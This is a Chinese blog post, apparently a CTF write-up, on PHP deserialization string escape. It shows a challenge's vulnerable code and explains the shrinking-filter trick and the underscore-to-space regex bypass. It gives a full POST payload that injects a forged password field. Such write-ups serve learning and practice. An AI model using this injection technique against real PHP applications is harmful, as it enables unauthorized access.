admin 管理员组

文章数量: 886993

PHP反序列化逃逸

生活啊,总是那么处处充满惊喜。

颓废的我,今天被一位师傅突然叫起来刷ctf题,从床上起来,被迫营业,唉。生活不易,仅有十几岁的我,却承受了本不该承受的。
反序列化字符串逃逸
1. 字符增多与字符减少, 我形象地称之为 怼出去和插进来。
别问为什么,(其实我的梦想是一名段子手,生活所迫)
今天先来插进来,至于什么时候怼出去,再说吧。

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{public $username;public $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}public function __wakeup(){if($this->password==='ctfshowvip'){include("flag.php");echo $flag;    }else{echo 'wrong password';}}
}
function filter($string){return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            die("I am sorry but you have to leave.");
}else{extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> 

审计上面代码,得到解题思路

  1. 绕过正则 #在php中GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
  2. 进行序列化与反序列化,序列化的内容,可以看到password=ctfshowvip才可以出flag。(怎么办!!! 你问我? 我也不会,这时候需要爱情的力量)
  3. 传入$pass_word变量为1";s:8:“password”;s:10:"ctfshowvip
//得到的序列化内容:
O:8:"spaceman":2:{s:8:"username";N;s:8:"password";s:34:"1";s:8:"password";s:10:"ctfshowvip";}
  1. 看到没,我们要吃掉";s:8:“password”;s:34:"1(一共24个字符)
  2. 到现在了,我们要怎么吃?(这不得问你女朋友?)上面有个filter函数 可以把ctfshowup变成ctfshow一次是不是逃出来了 两个字符? 有木有? 我们传12个ctfshowup是不是就可以逃出24个字符,有木有。 $user_name在传入12个ctfshowup
    payload:
user+name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass+word=1";s:8:"password";s:10:"ctfshowvip

ojbk 就这么简单,又是混子的一天,继续睡觉。
每天一道题,等我八十也能成为大佬。

本文标签: PHP反序列化逃逸